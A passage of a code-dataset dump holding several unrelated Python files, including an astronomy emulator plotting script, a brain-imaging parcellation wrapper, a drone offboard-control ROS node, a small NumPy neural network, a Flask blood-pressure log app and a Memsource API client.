fsps})/f_{\\rm fsps}$', fontsize=25) \nsub.set_ylim(-0.1, 0.1) \nfig.savefig('fsps.%s.%s.%s.%s.valid_emu.png' % (model, '_'.join(str(nn) for nn in n_pcas), '.'.join(archs), desc), bbox_inches='tight') \n\n\n# plot cumulative fractional error\nmean_frac_dspectrum = np.mean(np.abs(frac_dspectrum), axis=1)\nquant = np.quantile(mean_frac_dspectrum, [0.68, 0.95, 0.99, 0.999])\n\nfig = plt.figure(figsize=(8,6))\nsub = fig.add_subplot(111)\nfor q, a in zip(quant[::-1], [0.1, 0.2, 0.3, 0.5]):\n sub.fill_between([0., q], [0., 0.], [1., 1.], alpha=a, color='C0')\n_ = sub.hist(mean_frac_dspectrum, 40, range=(0., 0.05), density=True, histtype='step', cumulative=True, color='k')\nsub.set_xlabel(r'${\\rm mean}_\\lambda \\langle (f_{\\rm emu} - f_{\\rm fsps}) / f_{\\rm fsps} \\rangle$', fontsize=20)\nsub.set_xlim(0., 0.03)\nsub.set_ylabel('cumulative distribution', fontsize=20)\nsub.set_ylim(0., 1.)\nfig.savefig('fsps.%s.%s.%s.%s.valid_emu.cum.png' % (model, '_'.join(str(nn) for nn in n_pcas), '.'.join(archs), desc), bbox_inches='tight') \n\noutlier = mean_frac_dspectrum > 0.1\nprint('%i with frac err > 0.1' % np.sum(outlier))\n# plot outliers \nfig = plt.figure(figsize=(15,5))\nsub = fig.add_subplot(111)\nfor i in range(np.sum(outlier)): \n sub.plot(_wave, np.exp(lnspec_test[outlier][i]))\n sub.plot(_wave, np.exp(lnspec_recon[outlier][i]), c='k', ls=':')\nsub.set_xlabel('wavelength ($A$)', fontsize=25) \nsub.set_xlim(2.3e3, 1e4) \nfig.savefig('fsps.%s.%s.%s.%s.outlier.png' % (model, '_'.join(str(nn) for nn in n_pcas), '.'.join(archs), desc), bbox_inches='tight') \n","sub_path":"bin/validate_emu.py","file_name":"validate_emu.py","file_ext":"py","file_size_in_byte":6034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"404079265","text":"import os, time\nimport nilearn\nfrom nilearn.regions import Parcellations\nimport re\n\n#%%\n\noutdir = '/home/klug/working_data/ed_transfer_rs/parcellations/parcellation_of_non_segmented'\nmain_path = '/home/klug/working_data/ed_transfer_rs/RS'\n\n# Subject directory pattern in main dir (ex: S01_RS2)\nsubject_dir_pattern = re.compile(\"^S[0-9][0-9]_RS[0-9]$\")\nsubject_sub_path = 'BOLD/realigned_Yeo/coreg/norm/'\n\nn_clusters = 200\n\ndataset = []\nfailed_subjects = []\n\n#%%\n\n\nsubject_dirs = [d for d in os.listdir(main_path)\n if os.path.isdir(os.path.join(main_path, d)) and subject_dir_pattern.match(d)]\nsubject_dirs.sort()\nsubject_dirs = [os.path.join(main_path, d) for d in subject_dirs]\n\n#%%\n\nfor subject_dir in subject_dirs:\n subject_sub_dir = os.path.join(subject_dir, subject_sub_path)\n if not os.path.exists(subject_sub_dir):\n failed_subjects.append(os.path.basename(subject_dir))\n continue\n subject_files = [os.path.join(subject_sub_dir, f) for f in os.listdir(subject_sub_dir) if os.path.isfile(os.path.join(subject_sub_dir, f))]\n subj_img_4d = nilearn.image.load_img(subject_files)\n # all subjects should have 480 time points\n assert subj_img_4d.shape[-1] == 480\n dataset.append(subj_img_4d)\n\n## Parcellation\n\n\n# Computing ward for the first time, will be long... This can be seen by\n# measuring using time\nstart = time.time()\n\n# Agglomerative Clustering: ward\n\n# We build parameters of our own for this object. Parameters related to\n# masking, caching and defining number of clusters and specific parcellations\n# method.\nward = Parcellations(method='ward', n_parcels=n_clusters,\n standardize=False, smoothing_fwhm=2.,\n memory='nilearn_cache', memory_level=1,\n verbose=1)\n# Call fit on functional dataset: single subject (less samples).\nward.fit(dataset)\nprint(\"Ward agglomeration 1000 clusters: %.2fs\" % (time.time() - start))\n\n#%%\n\nward_labels_img = ward.labels_img_\n\n# # Now, ward_labels_img are Nifti1Image object, it can be saved to file\n# # with the following code:\nward_labels_img.to_filename(os.path.join(outdir, f'ward_parcellation_k{n_clusters}.nii.gz'))\n","sub_path":"parcellation/ward_parcellation_wrapper.py","file_name":"ward_parcellation_wrapper.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"235219822","text":"from requests import get\nfrom data import db_session\nfrom data.users import User\nfrom data.activity import Activities\nfrom data.records import Timetable\nimport datetime\n\n# для того, чтобы скопировать всё базу в интернете\n\n\ndef pars_str_to_date(date_str): # переделывает строк в даты в дату\n days, time = date_str.split(' ')\n year, month, day = days.split('-')\n hours, minutes = time.split(':')\n\n date = datetime.datetime(int(year), int(month), int(day), int(hours),\n int(minutes), 0)\n return date\n\n\nway = 'https://vitamin-calculator.herokuapp.com/' # от куда брать\ndb_session.global_init(\"db/vitamin_calculator.sqlite\") # где хранить\nsession = db_session.create_session()\n\n\nall_db = get(f'{way}/api/db').json() # обращается к api и получает всю базу\n\nusers = all_db['db']['users']\ntimetables = all_db['db']['timetable']\nactivities = all_db['db']['activities']\n\nfor user in users:\n if not session.query(User).get(user['id']):\n user_db = User(\n surname=user['surname'],\n name=user['name'],\n age=user['age'],\n email=user['email'],\n hashed_password=user['hashed_password'],\n id=user['id'],\n modified_date=pars_str_to_date(user['modified_date']),\n is_varfarin=user['is_varfarin']\n )\n session.add(user_db)\n\nfor activity in activities:\n if not session.query(Activities).get(activity['id']):\n activity_db = Activities(\n date=pars_str_to_date(activity['date']),\n name=activity['name'],\n id_user=activity['id_user'],\n id=activity['id']\n )\n session.add(activity_db)\n\n\nfor timetable in timetables:\n if not session.query(Timetable).get(timetable['id']):\n timetable_db = Timetable(\n breakfast=timetable['breakfast'],\n dinner=timetable['dinner'],\n supper=timetable['supper'],\n master=timetable['master'],\n vitamin=timetable['vitamin'],\n id=timetable['id'],\n date=timetable['date'],\n is_varfarin=timetable['is_varfarin'],\n percent=timetable['percent'],\n ch_ch_date=timetable['ch_ch_date'],\n color=timetable['color'],\n summ=timetable['summ'],\n status=timetable['status'],\n all_products_varfarin=timetable['all_products_varfarin'],\n all_products=timetable['all_products']\n )\n session.add(timetable_db)\n\n\nsession.commit()\n","sub_path":"synchronization.py","file_name":"synchronization.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"428362314","text":"#!/usr/bin/env python\n#coding: utf-8\n\nimport rospy\nfrom mavros_msgs.msg import GlobalPositionTarget, State\n\nfrom sensor_msgs.msg import NavSatFix\nfrom mavros_msgs.srv import CommandBool, CommandBoolRequest, CommandBoolResponse\nfrom mavros_msgs.srv import SetMode, SetModeRequest, SetModeResponse\nfrom geometry_msgs.msg import PoseStamped\nfrom std_msgs.msg import Bool\nimport math\nimport sys, select, os\n\n\n\n\nclass UAVCtl:\n def __init__(self):\n\n self.home_gps_pub = rospy.Publisher('/plane_home_gps',NavSatFix,queue_size=1)\n self.plane_local_pos_pub = rospy.Publisher('/mavros/setpoint_position/local', PoseStamped, queue_size=1)\n self.start_trace_pub = rospy.Publisher('/start_trace', Bool, queue_size=1)\n self.change_attitude_pub = rospy.Publisher('/change_to_attitude', Bool, queue_size=1)\n self.plane_target_pos = PoseStamped()\n self.plane_curr = PoseStamped()\n self.car_pos = PoseStamped()\n self.init_hover_mode = True\n self.change_attitude = Bool()\n self.follow_mode = Bool()\n self.start_trace_msg = Bool()\n self.fail_safe_mode = False\n self.car_distance_x = 0\n self.init_x = 0\n self.init_y = 0\n self.init_z = 3\n self.destination_x = 0\n self.destination_y = 0\n self.delta_x = 0\n self.delta_y = 0\n self.points_num_x = 0 # need how many points to reach pre-position\n self.points_num_y = 0 # need how many points to reach pre-position\n self.point_x = 0\n self.point_y = 0\n self.step_x = 0\n self.step_y = 0\n self.traj_points_count = 0 # increase count in while loop to pub trajectory points\n self.waypoints_num = 0\n self.waypoints_list_x = list()\n self.waypoints_list_y = list()\n self.plan_enable = True\n self.plan_num = 0\n\n \"\"\">>>>>>test in gazebo \"\"\"\n self.uav_state = State()\n self.arm_cmd = CommandBoolRequest()\n rospy.Subscriber('/mavros/state',State, self.state_cb)\n self.arming_client = rospy.ServiceProxy(\"/mavros/cmd/arming\", CommandBool)\n self.set_mode_client = rospy.ServiceProxy(\"/mavros/set_mode\", SetMode)\n self.offb_set_mode = SetModeRequest()\n \"\"\"<<<<<>>>>>test in gazebo, auto arm and take off\"\"\"\n\n\n \"\"\"pub local position for 100 counts\"\"\"\n local_pub_pos = PoseStamped()\n local_pub_pos.pose.position.x = self.init_x\n local_pub_pos.pose.position.y = self.init_y\n local_pub_pos.pose.position.z = self.init_z\n\n count = 0\n while not (rospy.is_shutdown() or count > 50):\n self.plane_local_pos_pub.publish(local_pub_pos)\n print(\"pub local position 50 \")\n rate.sleep()\n count += 1\n\n \"\"\"change Mode\"\"\"\n\n self.arm_cmd.value = True\n\n self.offb_set_mode.base_mode = 0\n self.offb_set_mode.custom_mode = \"OFFBOARD\"\n now = rospy.get_rostime()\n last_request = now.secs\n\n while not (rospy.is_shutdown()):\n self.plane_local_pos_pub.publish(local_pub_pos)\n if((self.uav_state.mode != \"OFFBOARD\") and (rospy.get_rostime().secs-last_request > 2)):\n rospy.loginfo(self.uav_state.mode)\n if((self.set_mode_client.call(self.offb_set_mode) == True) and (self.offb_set_mode.response.mode_sent == True)):\n rospy.loginfo(\" offboard enabled\")\n last_request = rospy.get_rostime().secs\n\n else:\n if((self.uav_state.armed == False) and (rospy.get_rostime().secs-last_request > 2)):\n rospy.loginfo(\" arming...\")\n if (self.arming_client.call(self.arm_cmd).success):\n rospy.loginfo(\" armed\")\n last_request = rospy.get_rostime().secs\n\n if abs(self.plane_curr.pose.position.z - self.init_z) < 0.1:\n rospy.loginfo(\"into hover mode\")\n break\n\n rate.sleep()\n\n \"\"\"<<<<< self.plane_curr.pose.position.x:\n forward_follow = 1\n else:\n forward_follow = -1\n\n self.destination_x = self.car_pos.pose.position.x - forward_follow * self.car_distance_x\n self.destination_y = self.car_pos.pose.position.y\n print(\"car_pos_x:\", self.car_pos.pose.position.x)\n print(\"car_pos_y:\", self.car_pos.pose.position.y)\n print(\"des_x:\", self.destination_x)\n print(\"des_y:\", self.destination_y)\n\n \"\"\" trace mode \"\"\"\n # the distance between curr_position and destination\n self.delta_x = self.destination_x - self.plane_curr.pose.position.x\n self.delta_y = self.destination_y - self.plane_curr.pose.position.y\n if abs(self.delta_x) > 0.5 or abs(self.delta_y) > 0.5:\n print(\"big error \")\n # plan every time, calculate every time\n self.calculate_waypoints(start_x=self.plane_curr.pose.position.x, start_y=self.plane_curr.pose.position.y,end_x=self.destination_x,end_y=self.destination_y)\n\n \"\"\"whether reached the trajectory point or not\"\"\"\n if abs(self.waypoints_list_x[self.traj_points_count] - self.plane_curr.pose.position.x) > 0.2 or abs(self.waypoints_list_y[self.traj_points_count] - self.plane_curr.pose.position.y) > 0.2:\n print(\"reaching the {} trajectory point\".format(self.traj_points_count))\n print(\"x_err between traj_point and curr: \", self.waypoints_list_x[self.traj_points_count] - self.plane_curr.pose.position.x)\n print(\"y_err between traj_point and curr: \", self.waypoints_list_y[self.traj_points_count] - self.plane_curr.pose.position.y)\n self.plane_target_pos.pose.position.x = self.waypoints_list_x[self.traj_points_count]\n self.plane_target_pos.pose.position.y = self.waypoints_list_y[self.traj_points_count]\n else:\n if self.traj_points_count < len(self.waypoints_list_x) - 1:\n self.traj_points_count += 1 # next point\n self.plane_target_pos.pose.position.x = self.waypoints_list_x[self.traj_points_count]\n self.plane_target_pos.pose.position.y = self.waypoints_list_y[self.traj_points_count]\n else:\n self.plane_target_pos.pose.position.x = self.destination_x\n self.plane_target_pos.pose.position.y = self.destination_y\n self.plane_target_pos.pose.position.x = self.destination_x\n self.plane_target_pos.pose.position.y = self.destination_y\n\n self.plane_target_pos.pose.position.z = self.init_z\n self.plane_local_pos_pub.publish(self.plane_target_pos)\n print(\"self.plane_target_pos.pose.position.x: \", self.plane_target_pos.pose.position.x)\n print(\"self.plane_target_pos.pose.position.y: \", self.plane_target_pos.pose.position.y)\n print(\"self.plane_target_pos.pose.position.z: \", self.plane_target_pos.pose.position.z)\n print(\"curr_x: \", self.plane_curr.pose.position.x)\n print(\"curr_y: \", self.plane_curr.pose.position.y)\n print(\"curr_z: \", self.plane_curr.pose.position.z)\n rate.sleep()\n\n\nif __name__ == '__main__':\n uav = UAVCtl()\n uav.ros_node()\n\n\n\n\n","sub_path":"upcore_back/gps_control/scripts/gps_pos_ctl_traj.py","file_name":"gps_pos_ctl_traj.py","file_ext":"py","file_size_in_byte":10488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"640792700","text":"#the guess\n\nnumGuesses = 0\nlow = 0\nhigh = 100\nans = (high + low)/2\nprint('Please think of a number between 0 and 100!')\n\nprint('Is your secret number ' + str(ans) + '?')\nx = raw_input('Enter ''h'' to indicate the guess is too high. Enter ''l'' to indicate the guess is too low. Enter ''c'' to indicate I guessed correctly.')\nnumGuesses += 1;\nwhile x != 'c':\n if x == 'h': high = ans\n elif x == 'l': low = ans\n else: \n print('Sorry, I did not understand your input.')\n ans = (high + low)/2\n print('Is your secret number ' + str(ans) + '?')\n numGuesses += 1;\n x = raw_input('Enter ''h'' to indicate the guess is too high. Enter ''l'' to indicate the guess is too low. Enter ''c'' to indicate I guessed correctly.')\n \nprint('Game over. Your secret number was: ' + str(ans))","sub_path":"guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"241400835","text":"# -*- coding: utf-8 -*-\r\nimport numpy as np\r\n\r\n\r\nclass NeuronNetwork:\r\n def __init__(self, input_dim, output_dim, hide_layers, learn_rate=0.01, batch_size=64, iter_num=1000\r\n , act_func='sigmoid'):\r\n \"\"\"\r\n :param input_dim: int\r\n :param output_dim: int\r\n :param hide_layers: array like [20, 10],means two hide layers, dimension 20 and 10\r\n :param act_func: assign the activation function, sigmoid or relu\r\n :param learn_rate: float32\r\n :param batch_size: int\r\n :param iter_num: int\r\n \"\"\"\r\n self.dim_in = input_dim\r\n self.dim_out = output_dim\r\n self.w = []\r\n self.dw = []\r\n self.layer_out = []\r\n self.act_out = []\r\n self.layer_size = len(hide_layers)\r\n self.activation_func = act_func\r\n self.lr = learn_rate\r\n self.iter_num = iter_num\r\n self.batch_size = batch_size\r\n self.w_log = []\r\n self.loss_log = []\r\n self.weights_init(hide_layers)\r\n\r\n @staticmethod\r\n def sigmoid(z):\r\n return 1 / (1 + np.exp(-1 * z))\r\n\r\n def gra_sigmoid(self, z):\r\n fx = self.sigmoid(z)\r\n return fx * (1 - fx)\r\n\r\n @staticmethod\r\n def relu(z):\r\n return np.maximum(z, 0)\r\n\r\n @staticmethod\r\n def gra_relu(z):\r\n z[z <= 0] = 0\r\n z[z > 0] = 1\r\n return z\r\n\r\n def act_function(self, z):\r\n if self.activation_func == 'sigmoid':\r\n return self.sigmoid(z)\r\n elif self.activation_func == 'relu':\r\n return self.relu(z)\r\n else:\r\n raise ValueError('act_func should be \"sigmoid\" or \"relu\"')\r\n\r\n def grad_function(self, z):\r\n if self.activation_func == 'sigmoid':\r\n return self.gra_sigmoid(z)\r\n else:\r\n return self.gra_relu(z)\r\n\r\n def weights_init(self, hide_layers):\r\n if self.layer_size == 1:\r\n self.w.append(np.random.rand(self.dim_in, hide_layers[0]))\r\n self.dw.append(np.zeros((self.dim_in, hide_layers[0])))\r\n self.layer_out.append(np.zeros((self.batch_size, hide_layers[0])))\r\n self.act_out.append(np.zeros((self.batch_size, hide_layers[0])))\r\n\r\n self.w.append(np.random.rand(hide_layers[0], self.dim_out))\r\n self.dw.append(np.zeros((hide_layers[0], self.dim_out)))\r\n self.layer_out.append(np.zeros((self.batch_size, self.dim_out)))\r\n self.act_out.append(np.zeros((self.batch_size, self.dim_out)))\r\n elif self.layer_size == 2:\r\n self.w.append(np.random.rand(self.dim_in, hide_layers[0]))\r\n self.dw.append(np.zeros((self.dim_in, hide_layers[0])))\r\n self.layer_out.append(np.zeros((self.batch_size, hide_layers[0])))\r\n self.act_out.append(np.zeros((self.batch_size, hide_layers[0])))\r\n\r\n self.w.append(np.random.rand(hide_layers[0], hide_layers[1]))\r\n self.dw.append(np.zeros((hide_layers[0], hide_layers[1])))\r\n self.layer_out.append(np.zeros((self.batch_size, hide_layers[1])))\r\n self.act_out.append(np.zeros((self.batch_size, hide_layers[1])))\r\n\r\n self.w.append(np.random.rand(hide_layers[1], self.dim_out))\r\n self.dw.append(np.zeros((hide_layers[1], self.dim_out)))\r\n self.layer_out.append(np.zeros((self.batch_size, self.dim_out)))\r\n self.act_out.append(np.zeros((self.batch_size, self.dim_out)))\r\n else:\r\n raise ValueError('hide layer size should be: 1 or 2, but got %d' % self.layer_size)\r\n\r\n def calculate(self, x):\r\n \"\"\"\r\n :param x: shape of [batch_size, dim_in]\r\n :return: y_hat, shape of [batch_size, dim_out]\r\n \"\"\"\r\n if self.layer_size == 1:\r\n self.layer_out[0] = x.dot(self.w[0])\r\n self.act_out[0] = self.act_function(self.layer_out[0])\r\n\r\n self.layer_out[1] = self.act_out[0].dot(self.w[1])\r\n self.act_out[1] = self.act_function(self.layer_out[1])\r\n return self.act_out[-1]\r\n else:\r\n self.layer_out[0] = x.dot(self.w[0])\r\n self.act_out[0] = self.act_function(self.layer_out[0])\r\n\r\n self.layer_out[1] = self.act_out[0].dot(self.w[1])\r\n self.act_out[1] = self.act_function(self.layer_out[1])\r\n\r\n self.layer_out[2] = self.act_out[1].dot(self.w[2])\r\n self.act_out[2] = self.act_function(self.layer_out[2])\r\n return self.act_out[-1]\r\n\r\n @staticmethod\r\n def cal_loss(y_hat, y_label):\r\n \"\"\"\r\n :param y_hat: predictions of output, shape of [batch_size, dim_out]\r\n :param y_label: real label, shape of [batch_size, dim_out]\r\n :return: loss, float32\r\n \"\"\"\r\n loss = np.square(y_hat - y_label).sum()\r\n return loss\r\n\r\n def back_propagation(self, x, y_hat, y_label):\r\n \"\"\"\r\n :param x:\r\n :param y_hat: predictions of output, shape of [batch_size, dim_out]\r\n :param y_label: real label, shape of [batch_size, dim_out]\r\n :return: None\r\n \"\"\"\r\n grad_y_hat = 2.0 * (y_hat - y_label)\r\n if self.layer_size == 1:\r\n # calculate dw2\r\n grad_temp = grad_y_hat * self.grad_function(self.layer_out[1])\r\n self.dw[1] = self.act_out[0].T.dot(grad_temp)\r\n # calculate dw2\r\n grad_temp = grad_temp.dot(self.w[1].T)\r\n grad_temp = grad_temp * self.grad_function(self.layer_out[0])\r\n self.dw[0] = x.T.dot(grad_temp)\r\n # update w1 and w2\r\n self.w[0] -= self.lr * self.dw[0]\r\n self.w[1] -= self.lr * self.dw[1]\r\n else:\r\n # calculate dw3\r\n grad_temp = grad_y_hat * self.grad_function(self.layer_out[2])\r\n self.dw[2] = self.act_out[1].T.dot(grad_temp)\r\n # calculate dw2\r\n grad_temp = grad_temp.dot(self.w[2].T)\r\n grad_temp = grad_temp * self.grad_function(self.layer_out[1])\r\n self.dw[1] = self.act_out[0].T.dot(grad_temp)\r\n # calculate dw1\r\n grad_temp = grad_temp.dot(self.w[1].T)\r\n grad_temp = grad_temp * self.grad_function(self.layer_out[0])\r\n self.dw[0] = x.T.dot(grad_temp)\r\n # update w1 and w2 and w3\r\n self.w[0] -= self.lr * self.dw[0]\r\n self.w[1] -= self.lr * self.dw[1]\r\n self.w[2] -= self.lr * self.dw[2]\r\n\r\n def train(self, x_sets, y_sets):\r\n sample_count = len(x_sets)\r\n for i in range(self.iter_num):\r\n batch_index = np.random.choice(sample_count, self.batch_size)\r\n batch_x = x_sets[batch_index]\r\n batch_y = y_sets[batch_index]\r\n batch_y_hat = self.calculate(batch_x)\r\n self.back_propagation(batch_x, batch_y_hat, batch_y)\r\n if i % 50 == 0:\r\n batch_loss = self.cal_loss(batch_y_hat, batch_y)\r\n print('current loss: ',batch_loss)\r\n\r\n\r\nif __name__ == '__main__':\r\n # 生成随机数据集\r\n # np.random.seed(1)\r\n # x_set = np.random.rand(1000, 100)\r\n # y_set = np.random.randint(0, 9, size=1000)\r\n # y_set = np.eye(10)[y_set]\r\n\r\n x_samples = []\r\n y_samples = []\r\n with open('iris.txt') as f:\r\n data = f.readlines()\r\n for sample in data:\r\n try:\r\n x1, x2, x3, x4, label = sample.split(',')\r\n if 'setosa' in label:\r\n label = 0\r\n elif 'versicolor' in label:\r\n label = 1\r\n else:\r\n label = 2\r\n x_samples.append([x1, x2, x3, x4])\r\n y_samples.append(label)\r\n except ValueError:\r\n pass\r\n x_samples = np.array(x_samples, dtype=np.float64)\r\n y_samples = np.eye(3)[y_samples]\r\n\r\n nn = NeuronNetwork(4, 3, [12, 6])\r\n nn.train(x_samples, y_samples)\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"NeuronNetwork.py","file_name":"NeuronNetwork.py","file_ext":"py","file_size_in_byte":7860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"279542765","text":"import pandas as pd\nimport os\nimport sys\n\n\ndef main(save_to_file):\n location = os.getcwd() # get present working directory location here\n counter = 0 #keep a count of all files found\n\n #loop through all directories within /text\n for root_file in os.listdir(location+\"/text\"):\n #loop through all wiki dump files in /text subdirectory\n for file in os.listdir(location+\"/text/\"+root_file):\n try:\n #if file is found say so in command line and proceed to convert json data\n if file.startswith(\"wiki_\"):\n print(\"wiki dump file found:\\t\" + str(file))\n temp_json_file = \"text/\"+root_file+\"/\"+file\n converter(temp_json_file, save_to_file)\n counter = counter+1\n except Exception as e:\n raise e\n print(\"No files found here!\")\n print(\"Total files found and converted:\\t\" + str(counter))\n\n\ndef converter(json_file, save_to_file):\n #open file and append what we find\n f = open(save_to_file, \"a\")\n #get pandas dataframe\n pd_obj = pd.read_json(json_file, lines=True)\n #iterate through pandas dataframe\n for index, row in pd_obj.iterrows():\n #print(\"text:\\t:\" + str(row['text']))\n temp_row = row['text'].split('\\n')\n # after splitting by new line, iterate through all substrings\n for i in range(0,len(temp_row)):\n #if i==0 then we know we are reading the title so no checks need to be made\n if i == 0:\n f.write(str(temp_row[i])+\"\\n\")\n #everything else needs to be cleaned\n else:\n #split sentences on periods\n temp_texts = temp_row[i].split('.')\n #strings are cleaned and appended to file\n for text in temp_texts:\n if text == '':\n continue\n elif text[0] == '\\xa0' or text[0] == ' ':\n f.write(str(text[1:])+\".\\n\")\n else:\n f.write(str(text)+\".\\n\")\n print(\"Transfer completed\")\n\nif __name__ == '__main__':\n print(sys.argv[1][:-3]+\"txt\")\n save_to_file = sys.argv[1][:-3]+\"txt\"\n #if our save_to_file already exists want to delete and start with a blank document\n if os.path.isfile(save_to_file):\n os.remove(save_to_file)\n\n main(save_to_file)\n","sub_path":"python/wikiDump_convert.py","file_name":"wikiDump_convert.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"274692062","text":"\nimport sqlite3\nfrom flask import Flask, request, session, g, redirect, url_for, abort\nfrom flask import render_template, flash\nfrom contextlib import closing\nimport bokeh.plotting as p\nfrom model import Entry, User\nfrom database import db_session\n\nDATABASE = r'tmp\\flaskr.db'\nDEBUG = True\nSECRET_KEY = 'dev key'\nUSERNAME = 'admin'\nPASSWORD = 'default'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n\ndef connect_db():\n return sqlite3.connect(app.config['DATABASE'])\n\n\ndef init_db():\n with closing(connect_db()) as db:\n with app.open_resource('schema.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\n@app.before_request\ndef before_request():\n g.db = connect_db()\n\n\n@app.teardown_request\ndef teardown_request(exception):\n try:\n g.db.close()\n except AttributeError:\n pass\n\n@app.teardown_appcontext\ndef shutdown_session(exception=None):\n db_session.remove()\n\n@app.route('/')\ndef show_entries():\n from bokeh import embed, plotting, resources\n entries = Entry.query.order_by('date').all()\n\n\n all_dia = [i.dia for i in entries]\n all_sys = [i.sys for i in entries]\n all_pulse = [i.pulse for i in entries]\n fig = plotting.figure(toolbar_location='right', width=520, height=350,\n logo=None, x_axis_type='datetime'\n )\n\n x = range(len(all_dia))\n x = [i.date for i in entries]\n fig.line(x, all_dia, color='red')\n fig.line(x, all_sys, color='blue')\n fig.line(x, all_pulse, color='black')\n script, div = embed.components(fig, resources.INLINE)\n return render_template('show_entries.html', entries=entries, script=script,\n div=div)\n\n\n\n@app.route('/add', methods=['POST'])\ndef add_entry():\n if not session.get('logged_in'):\n abort(401)\n form = request.form\n sys, dia, pulse = form['systolic'], form['diatolic'], form['pulse']\n when, side = form['time'], form['side']\n entry = Entry(sys, dia, pulse, side, when)\n db_session.add(entry)\n db_session.commit()\n flash(\"Succesful posted\")\n return redirect(url_for('show_entries'))\n\n\n@app.route('/delete/')\ndef delete_entry(entry_id):\n if not session.get('logged_in'):\n abort(401)\n to_del = Entry.query.get(entry_id)\n db_session.delete(to_del)\n db_session.commit()\n return redirect(url_for('show_entries'))\n\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n error = None\n if request.method == 'POST':\n if request.form['username'] != app.config['USERNAME']:\n error = 'invalid login'\n elif request.form['password'] != app.config['PASSWORD']:\n error = 'invalid password'\n else:\n session['logged_in'] = True\n flash('logged in!')\n return redirect(url_for('show_entries'))\n return render_template('login.html', error=error)\n\n\n@app.route('/logout')\ndef logout():\n session.pop('logged_in', None)\n flash('Logged out')\n return redirect(url_for('show_entries'))\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"flaskr.py","file_name":"flaskr.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"286087042","text":"import logging\n\nfrom celery import task\nfrom django.utils.timezone import now\n\nlogger = logging.getLogger(__name__)\n\n\n@task(name='process_task', ignore_result=True)\ndef process_balanced_task(task_runner_id):\n \"\"\"\n Verifies that the `process_balanced_task.request.id` that was passed\n when this was created is still valid.\n\n Then runs the `run()` function on the `task_runner.balanced_task` and\n schedules another if needed.\n \"\"\"\n from models import TaskRunner\n task_runner = TaskRunner.objects.get(id=task_runner_id)\n\n if (task_runner.task_id != process_balanced_task.request.id\n or task_runner.is_deleted):\n raise Exception(\"No longer a valid task\")\n\n # The good part\n task_runner.balanced_task.run()\n task_runner.last_run = now()\n task_runner.save(force_update=True)\n\n # Pull in any new data from the DB\n task_runner = TaskRunner.objects.get(id=task_runner_id)\n eta = task_runner.next_run()\n\n logger.info('Processed TaskRunner: {bt}'\n ' id: {id} eta:{eta}'.format(\n bt=task_runner.name,\n id=task_runner.id,\n eta=eta))\n if eta:\n # Run the task again.\n task_runner.start()\n","sub_path":"billy/balanced_tasks/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"607737959","text":"import io\nimport uuid\nfrom typing import Iterator, List\n\nfrom memsource import api_rest, constants, models\nfrom memsource.lib import mxliff\n\n\nclass Bilingual(api_rest.BaseApi):\n # Document: https://cloud.memsource.com/web/docs/api#tag/Bilingual-File\n\n def _get_bilingual_stream(self, project_id: int, job_uids: List[str]) -> Iterator[bytes]:\n \"\"\"Common process of bilingualFile.\n\n :param project_id: ID of the project.\n :param job_uids: List of job uids.\n :return: Downloaded bilingual file with iterator.\n \"\"\"\n return self._post_stream(\n path=\"v1/projects/{}/jobs/bilingualFile\".format(project_id),\n data={\"jobs\": [{\"uid\": job_uid} for job_uid in job_uids]},\n ).iter_content(constants.CHUNK_SIZE)\n\n def get_bilingual_file_xml(self, project_id: int, job_uids: List[str]) -> bytes:\n \"\"\"Download bilingual file and return it as bytes.\n\n This method might use huge memory.\n\n :param project_id: ID of the project.\n :param job_uids: List of job uids.\n :return: Downloaded bilingual file.\n \"\"\"\n buffer = io.BytesIO()\n\n for chunk in self._get_bilingual_stream(project_id, job_uids):\n buffer.write(chunk)\n\n return buffer.getvalue()\n\n def get_bilingual_file(\n self,\n project_id: int,\n job_uids: List[int],\n dest_file_path: str\n ) -> None:\n \"\"\"Download bilingual file and save it as a file.\n\n :param project_id: ID of the project.\n :param job_uids: List of job uids.\n :param dest_file_path: Save bilingual file to there.\n \"\"\"\n with open(dest_file_path, \"wb\") as f:\n for chunk in self._get_bilingual_stream(project_id, job_uids):\n f.write(chunk)\n\n def get_bilingual_as_mxliff_units(\n self,\n project_id: int,\n job_uids: List[str]\n ) -> models.MxliffUnit:\n \"\"\"Download bilingual file and parse it as [models.MxliffUnit]\n\n :param project_id: ID of the project.\n :param job_uids: List of job uids.\n :returns: MxliffUnit\n \"\"\"\n return mxliff.MxliffParser().parse(self.get_bilingual_file_xml(project_id, job_uids))\n\n def upload_bilingual_file_from_xml(self, xml: str) -> List[models.Job]:\n \"\"\"Call uploadBilingualFile API.\n\n :param xml: Upload this file.\n \"\"\"\n extra_headers = {\"Content-Type\": \"application/octet-stream\"}\n self.add_headers(extra_headers)\n\n self._put(\"v1/bilingualFiles\", None, {\n \"file\": (\"{}.mxliff\".format(uuid.uuid1().hex), xml),\n })\n","sub_path":"memsource/api_rest/bilingual.py","file_name":"bilingual.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
